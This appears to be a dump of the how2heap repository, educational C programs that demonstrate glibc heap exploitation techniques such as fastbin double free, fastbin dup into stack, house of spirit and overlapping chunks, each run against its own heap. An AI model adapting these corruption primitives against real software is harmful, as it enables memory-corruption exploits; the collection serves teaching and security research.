├── .github └── workflows │ └── ci.yml ├── .gitignore ├── .gitmodules ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── calc_tcache_idx.c ├── ci ├── build │ ├── Dockerfile │ └── action.yml └── test │ └── action.yml ├── first_fit.c ├── glibc_2.23 ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── house_of_einherjar.c ├── house_of_force.c ├── house_of_gods.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_orange.c ├── house_of_roman.c ├── house_of_spirit.c ├── house_of_storm.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── overlapping_chunks_2.c ├── poison_null_byte.c ├── sysmalloc_int_free.c ├── unsafe_unlink.c ├── unsorted_bin_attack.c └── unsorted_bin_into_stack.c ├── glibc_2.24 ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── house_of_einherjar.c ├── house_of_force.c ├── house_of_gods.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_roman.c ├── house_of_spirit.c ├── house_of_storm.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── overlapping_chunks_2.c ├── poison_null_byte.c ├── sysmalloc_int_free.c ├── unsafe_unlink.c ├── unsorted_bin_attack.c └── unsorted_bin_into_stack.c ├── glibc_2.27 ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_force.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_storm.c ├── house_of_tangerine.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c ├── unsafe_unlink.c ├── unsorted_bin_attack.c └── unsorted_bin_into_stack.c ├── glibc_2.31 ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.32 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.33 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.34 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.35 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.36 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.37 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.38 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_2.39 ├── decrypt_safe_linking.c ├── fastbin_dup.c ├── fastbin_dup_consolidate.c ├── fastbin_dup_into_stack.c ├── fastbin_reverse_into_tcache.c ├── house_of_botcake.c ├── house_of_einherjar.c ├── house_of_lore.c ├── house_of_mind_fastbin.c ├── house_of_spirit.c ├── house_of_tangerine.c ├── house_of_water.c ├── large_bin_attack.c ├── mmap_overlapping_chunks.c ├── overlapping_chunks.c ├── poison_null_byte.c ├── safe_link_double_protect.c ├── sysmalloc_int_free.c ├── tcache_house_of_spirit.c ├── tcache_poisoning.c ├── tcache_stashing_unlink_attack.c └── unsafe_unlink.c ├── glibc_ChangeLog.md ├── glibc_run.sh ├── malloc_playground.c └── obsolete └── glibc_2.27 └── tcache_dup.c /.gitignore: -------------------------------------------------------------------------------- 1 | glibc_build 2 | glibc_src 3 | glibc_versions 4 | .gdb_history 5 | 6 | # ignore binaries in root 7 | calc_tcache_idx 8 | first_fit 9 | malloc_playground 10 | 11 | # ignore all built binaries 12 | glibc_2.*/* 13 | !glibc_2.*/*.* 14 | 15 | # general 16 | **.swp 17 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "glibc-all-in-one"] 2 | path = glibc-all-in-one 3 | #url = https://github.com/matrix1001/glibc-all-in-one.git 4 | url = https://github.com/fr0ster/glibc-all-in-one.git 5 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:20.04 2 | 3 | run apt-get update && apt-get install -y binutils git make vim gcc patchelf python-is-python3 python3-pip 4 | run pip3 install requests 5 | run git clone --depth 1 https://github.com/shellphish/how2heap /root/how2heap 6 | run git config --global --add safe.directory "*" 7 | 8 | workdir /root/how2heap 9 | run bash 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Shellphish 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /calc_tcache_idx.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | struct malloc_chunk { 8 | 9 | size_t mchunk_prev_size; /* Size of previous chunk (if free). */ 10 | size_t mchunk_size; /* Size in bytes, including overhead. */ 11 | 12 | struct malloc_chunk* fd; /* double links -- used only if free. */ 13 | struct malloc_chunk* bk; 14 | 15 | /* Only used for large blocks: pointer to next larger size. */ 16 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 17 | struct malloc_chunk* bk_nextsize; 18 | }; 19 | 20 | /* The corresponding word size. */ 21 | #define SIZE_SZ (sizeof (size_t)) 22 | 23 | #define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \ 24 | ? __alignof__ (long double) : 2 * SIZE_SZ) 25 | 26 | /* The corresponding bit mask value. */ 27 | #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) 28 | 29 | /* The smallest possible chunk */ 30 | #define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) 31 | 32 | /* The smallest size we can malloc is an aligned minimal chunk */ 33 | #define MINSIZE \ 34 | (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) 35 | 36 | #define request2size(req) \ 37 | (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ 38 | MINSIZE : \ 39 | ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 40 | 41 | /* When "x" is from chunksize(). */ 42 | # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) 43 | 44 | /* When "x" is a user-provided size. */ 45 | # define usize2tidx(x) csize2tidx (request2size (x)) 46 | 47 | int main() 48 | { 49 | unsigned long long req; 50 | unsigned long long tidx; 51 | fprintf(stderr, "This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.\n"); 52 | fprintf(stderr, "The basic formula is as follows:\n"); 53 | fprintf(stderr, "\tIDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT\n"); 54 | fprintf(stderr, "\tOn a 64 bit system the current values are:\n"); 55 | fprintf(stderr, "\t\tMINSIZE: 0x%lx\n", MINSIZE); 56 | fprintf(stderr, "\t\tMALLOC_ALIGNMENT: 0x%lx\n", MALLOC_ALIGNMENT); 57 | fprintf(stderr, "\tSo we get the following equation:\n"); 58 | fprintf(stderr, "\tIDX = (CHUNKSIZE - 0x%lx) / 0x%lx\n\n", MINSIZE-MALLOC_ALIGNMENT+1, MALLOC_ALIGNMENT); 59 | fprintf(stderr, "BUT be AWARE that CHUNKSIZE is not the x in malloc(x)\n"); 60 | fprintf(stderr, "It is calculated as follows:\n"); 61 | fprintf(stderr, "\tIF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x%lx) CHUNKSIZE = MINSIZE (0x%lx)\n", MINSIZE, MINSIZE); 62 | fprintf(stderr, "\tELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) \n"); 63 | fprintf(stderr, "\t=> CHUNKSIZE = (x + 0x%lx + 0x%lx) & ~0x%lx\n\n\n", SIZE_SZ, MALLOC_ALIGN_MASK, MALLOC_ALIGN_MASK); 64 | while(1) { 65 | fprintf(stderr, "[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10): "); 66 | scanf("%llx", &req); 67 | tidx = usize2tidx(req); 68 | if (tidx > 63) { 69 | fprintf(stderr, "\nWARNING: NOT IN TCACHE RANGE!\n"); 70 | } 71 | fprintf(stderr, "\nTCache Idx: %llu\n", tidx); 72 | } 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /ci/build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM base 2 | 3 | RUN apt-get update && apt-get install -y make git gcc 4 | 5 | CMD bash -c "cd /how2heap && make all && cp $(which make) /how2heap/make" 6 | -------------------------------------------------------------------------------- /ci/build/action.yml: -------------------------------------------------------------------------------- 1 | name: 'build how2heap' 2 | description: 'build how2heap on the targeted ubuntu docker' 3 | inputs: 4 | ubuntu: 5 | description: 'build it on which ubuntu version' 6 | required: true 7 | runs: 8 | using: "composite" 9 | steps: 10 | - name: create the base docker image 11 | run: | 12 | docker pull ubuntu:${{ inputs.ubuntu }} 13 | docker tag ubuntu:${{ inputs.ubuntu }} base 14 | shell: bash 15 | 16 | - name: build how2heap inside the base container 17 | run: | 18 | git clone https://github.com/shellphish/how2heap /tmp/how2heap 19 | cd /tmp/how2heap && git fetch origin ${GITHUB_REF}:action 20 | cd /tmp/how2heap && git switch action 21 | cd /tmp/how2heap/ci/build && docker build -t runner . 22 | docker run -v /tmp/how2heap:/how2heap runner 23 | shell: bash 24 | -------------------------------------------------------------------------------- /ci/test/action.yml: -------------------------------------------------------------------------------- 1 | name: 'test how2heap' 2 | description: 'test how2heap on the targeted ubuntu docker' 3 | inputs: 4 | ubuntu: 5 | description: 'build it on which ubuntu version' 6 | required: true 7 | glibc: 8 | description: 'test against which glibc' 9 | required: true 10 | runs: 11 | using: "composite" 12 | steps: 13 | - name: pull the target ubuntu image 14 | run: | 15 | docker pull ubuntu:${{ inputs.ubuntu }} 16 | docker tag ubuntu:${{ inputs.ubuntu }} ubuntu_test 17 | shell: bash 18 | 19 | - name: test how2heap inside the raw container 20 | run: | 21 | docker run -v /tmp/how2heap:/how2heap ubuntu_test bash -c 'cd /how2heap; ./make test version=${{ inputs.glibc }}' 22 | shell: bash 23 | -------------------------------------------------------------------------------- /first_fit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 | fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); 9 | fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); 10 | fprintf(stderr, "This can be exploited in a use-after-free situation.\n"); 11 | 12 | fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); 13 | char* a = malloc(0x512); 14 | char* b = malloc(0x256); 15 | char* c; 16 | 17 | fprintf(stderr, "1st malloc(0x512): %p\n", a); 18 | fprintf(stderr, "2nd malloc(0x256): %p\n", b); 19 | fprintf(stderr, "we could continue mallocing here...\n"); 20 | fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); 21 | strcpy(a, "this is A!"); 22 | fprintf(stderr, "first allocation %p points to %s\n", a, a); 23 | 24 | fprintf(stderr, "Freeing the first one...\n"); 25 | free(a); 26 | 27 | fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a); 28 | 29 | fprintf(stderr, "So, let's allocate 0x500 bytes\n"); 30 | c = malloc(0x500); 31 | fprintf(stderr, "3rd malloc(0x500): %p\n", c); 32 | fprintf(stderr, "And put a different string here, \"this is C!\"\n"); 33 | strcpy(c, "this is C!"); 34 | fprintf(stderr, "3rd allocation %p points to %s\n", c, c); 35 | fprintf(stderr, "first allocation %p points to %s\n", a, a); 36 | fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n"); 37 | } 38 | -------------------------------------------------------------------------------- /glibc_2.23/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n"); 8 | 9 | fprintf(stderr, "Allocating 3 buffers.\n"); 10 | int *a = malloc(8); 11 | int *b = malloc(8); 12 | int *c = malloc(8); 13 | 14 | fprintf(stderr, "1st malloc(8): %p\n", a); 15 | fprintf(stderr, "2nd malloc(8): %p\n", b); 16 | fprintf(stderr, "3rd malloc(8): %p\n", c); 17 | 18 | fprintf(stderr, "Freeing the first one...\n"); 19 | free(a); 20 | 21 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 22 | // free(a); 23 | 24 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 25 | free(b); 26 | 27 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 28 | free(a); 29 | 30 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 31 | a = malloc(8); 32 | b = malloc(8); 33 | c = malloc(8); 34 | fprintf(stderr, "1st malloc(8): %p\n", a); 35 | fprintf(stderr, "2nd malloc(8): %p\n", b); 36 | fprintf(stderr, "3rd malloc(8): %p\n", c); 37 | 38 | assert(a == c); 39 | } 40 | -------------------------------------------------------------------------------- /glibc_2.23/fastbin_dup_consolidate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 7 | 8 | This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a 9 | double free to gain two pointers to the same large-sized chunk, which is usually difficult to do 10 | directly due to the previnuse check. 11 | 12 | malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially 13 | merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top 14 | if possible. 15 | 16 | As of glibc version 2.35 it is called only in the following five places: 17 | 1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965) 18 | 2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394) 19 | 3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674) 20 | 4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041) 21 | 5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463) 22 | 23 | We will be targeting the first place, so we will need to allocate a chunk that does not belong in the 24 | small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). 25 | This means our chunk will need to be of size >= 0x400 (it is thus large-sized). 26 | 27 | */ 28 | 29 | int main() { 30 | printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n"); 31 | 32 | void* p1 = calloc(1,0x40); 33 | 34 | printf("Allocate a fastbin chunk p1=%p \n", p1); 35 | printf("Freeing p1 will add it to the fastbin.\n\n"); 36 | free(p1); 37 | 38 | void* p3 = malloc(0x400); 39 | 40 | printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n"); 41 | printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n"); 42 | printf("a chunk with chunk size 0x410. p3=%p\n", p3); 43 | 44 | printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n"); 45 | printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n"); 46 | 47 | assert(p1 == p3); 48 | 49 | printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n"); 50 | free(p1); // vulnerability 51 | 52 | printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n"); 53 | printf("chunk got consolidated with it. We have thus achieved UAF!\n"); 54 | 55 | printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n"); 56 | printf("p3 and p1 will still be pointing to it.\n"); 57 | void *p4 = malloc(0x400); 58 | 59 | assert(p4 == p3); 60 | 61 | printf("We now have two pointers (p3 and p4) that haven't been directly freed\n"); 62 | printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4); 63 | printf("We have achieved duplication!\n\n"); 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /glibc_2.23/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" 7 | "returning a pointer to a controlled location (in this case, the stack).\n"); 8 | 9 | unsigned long long stack_var; 10 | 11 | fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 | 13 | fprintf(stderr, "Allocating 3 buffers.\n"); 14 | int *a = malloc(8); 15 | int *b = malloc(8); 16 | int *c = malloc(8); 17 | 18 | fprintf(stderr, "1st malloc(8): %p\n", a); 19 | fprintf(stderr, "2nd malloc(8): %p\n", b); 20 | fprintf(stderr, "3rd malloc(8): %p\n", c); 21 | 22 | fprintf(stderr, "Freeing the first one...\n"); 23 | free(a); 24 | 25 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 | // free(a); 27 | 28 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 29 | free(b); 30 | 31 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 32 | free(a); 33 | 34 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 35 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 | unsigned long long *d = malloc(8); 37 | 38 | fprintf(stderr, "1st malloc(8): %p\n", d); 39 | fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 41 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 | "so that malloc will think there is a free chunk there and agree to\n" 44 | "return a pointer to it.\n", a); 45 | stack_var = 0x20; 46 | 47 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 | *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 | 50 | fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 | fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); 52 | } 53 | -------------------------------------------------------------------------------- /glibc_2.23/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); 7 | 8 | fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); 9 | malloc(1); 10 | 11 | fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); 12 | unsigned long long *a; 13 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 14 | unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 15 | 16 | fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); 17 | 18 | fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 19 | fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 20 | fake_chunks[1] = 0x40; // this is the size 21 | 22 | fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 23 | // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 24 | fake_chunks[9] = 0x1234; // nextsize 25 | 26 | fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 27 | fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 28 | a = &fake_chunks[2]; 29 | 30 | fprintf(stderr, "Freeing the overwritten pointer.\n"); 31 | free(a); 32 | 33 | fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 34 | fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); 35 | } 36 | -------------------------------------------------------------------------------- /glibc_2.23/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | int main(int argc , char* argv[]){ 15 | 16 | 17 | intptr_t *p1,*p2,*p3,*p4; 18 | 19 | fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n"); 20 | fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n"); 21 | 22 | p1 = malloc(0x100 - 8); 23 | p2 = malloc(0x100 - 8); 24 | p3 = malloc(0x80 - 8); 25 | 26 | fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 27 | 28 | memset(p1, '1', 0x100 - 8); 29 | memset(p2, '2', 0x100 - 8); 30 | memset(p3, '3', 0x80 - 8); 31 | 32 | fprintf(stderr, "\nNow let's free the chunk p2\n"); 33 | free(p2); 34 | fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 35 | 36 | fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 37 | fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;" 38 | " however, it is best to maintain the stability of the heap.\n"); 39 | fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," 40 | " to assure that p1 is not mistaken for a free chunk.\n"); 41 | 42 | int evil_chunk_size = 0x181; 43 | int evil_region_size = 0x180 - 8; 44 | fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 45 | evil_chunk_size, evil_region_size); 46 | 47 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 48 | 49 | fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n" 50 | "size of the chunk p2 injected size\n"); 51 | fprintf(stderr, "This malloc will be served from the previously freed chunk that\n" 52 | "is parked in the unsorted bin which size has been modified by us\n"); 53 | p4 = malloc(evil_region_size); 54 | 55 | fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 56 | fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 57 | fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n"); 58 | 59 | fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 60 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 61 | 62 | fprintf(stderr, "Let's run through an example. Right now, we have:\n"); 63 | fprintf(stderr, "p4 = %s\n", (char *)p4); 64 | fprintf(stderr, "p3 = %s\n", (char *)p3); 65 | 66 | fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 67 | memset(p4, '4', evil_region_size); 68 | fprintf(stderr, "p4 = %s\n", (char *)p4); 69 | fprintf(stderr, "p3 = %s\n", (char *)p3); 70 | 71 | fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n"); 72 | memset(p3, '3', 80); 73 | fprintf(stderr, "p4 = %s\n", (char *)p4); 74 | 